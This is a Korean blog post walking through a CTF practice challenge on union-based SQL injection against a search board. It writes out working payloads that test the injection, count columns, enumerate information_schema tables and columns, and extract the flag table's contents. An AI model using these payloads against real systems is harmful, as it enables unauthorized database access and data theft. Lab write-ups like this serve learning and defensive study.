Union Sql Injection Segfault CTF 문제 풀이

ctf

 

 

 

비밀 데이터를 찾아내라!

 

 

눈에 보이는 게시판 내용인 거 같다.

 

 

Adm을 검색해 보았다. 일부분으로 검색이 된 걸 보니 sql 문법에 like가 들어가는 거 같다.

SELECT * FROM table WHERE column LIKE ‘%Adm%’ 이런 형식으로 db에서 조회되는 거 같다.

 

 

Sql Injection 검증

Adm%'and'1%'='1
Adm%'and'1%'='2

검색해 보았다.

Adm%’and’1%’=’1 결과는 나왔고 Adm%’and’1%’=’2는 안 나왔다.

 

 

컬럼 개수 찾기

Adm%’ # 이렇게 쓰면 Adm 이랑 같은 결과가 나왔다.

Adm%’ order by 5# 로하면 컬럼이 검색 결과가 나오지 않았고 Adm%’ order by 4# 로하면 검색 결과가 나온 걸 보니

컬럼 개수는 4개인 거 같다.

 

 

출력되는 컬럼 위치 찾기

union을 사용해서 추가로 하나의행을 붙여서 컬럼숫자를 파악해보았다.

Adm%’ union select 1,2,3,4 # 1,2,3,4가 전부 보였다.

select column from table sql 문을 이렇게 실행하면 보일 거 같다.

Adm%’ union select 1, column, 3,4 from table # 이렇게 넣고 싶은데 값을 모른다.

 

 

DB 이름과 테이블 이름 컬럼 이름을 찾기

DB 이름 확인하려면 sql 문은 select database()

sql injection으로 찾는 법은 Adm%’ union select 1, database(),3,4 #

sqli_1 DB의 값이 나왔다.

 

 

테이블 이름 확인

DB에는 테이블 정보가 있는 테이블이 저장되어 있다.

information_schema.tables 여기에 mysql 데이터베이스 테이블 정보가 있다고 한다.

또다시 Adm%’ union select 1,2,3,4 # 이정보를 가지고

Adm%’ union select 1,table_name,3,4 from information_schema.tables where table_schema =’sqli_1′ #

sql문은 select table_name from information_schema.tables where table_schema =’sqli_1′

flag_table, plusFlag_Table, user_info 테이블 이름이 확인되었다.

 

 

컬럼 이름 확인

sql문은 select column_name from information_schema.columns where table_name = ‘테이블이름’

Adm%’ union select 1,column_name,3,4 from information_schema.columns where table_name = ‘flag_table’ #

flag_table 컬럼 이름은 flag로 확인

user_info 컬럼 이름은 id, level, rank_point, rate로 확인

 

 

데이터 추출

select flag from flag_table 플래그 데이터 값을 확인하기 위해

Adm%’ union select 1,flag,3,4 from flag_table #

결과가 나왔고 핵심은 Adm%’ union select 1,2,3,4 # 이걸 잘 응용하면 된다는 것이었다.

 

 

 

 

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다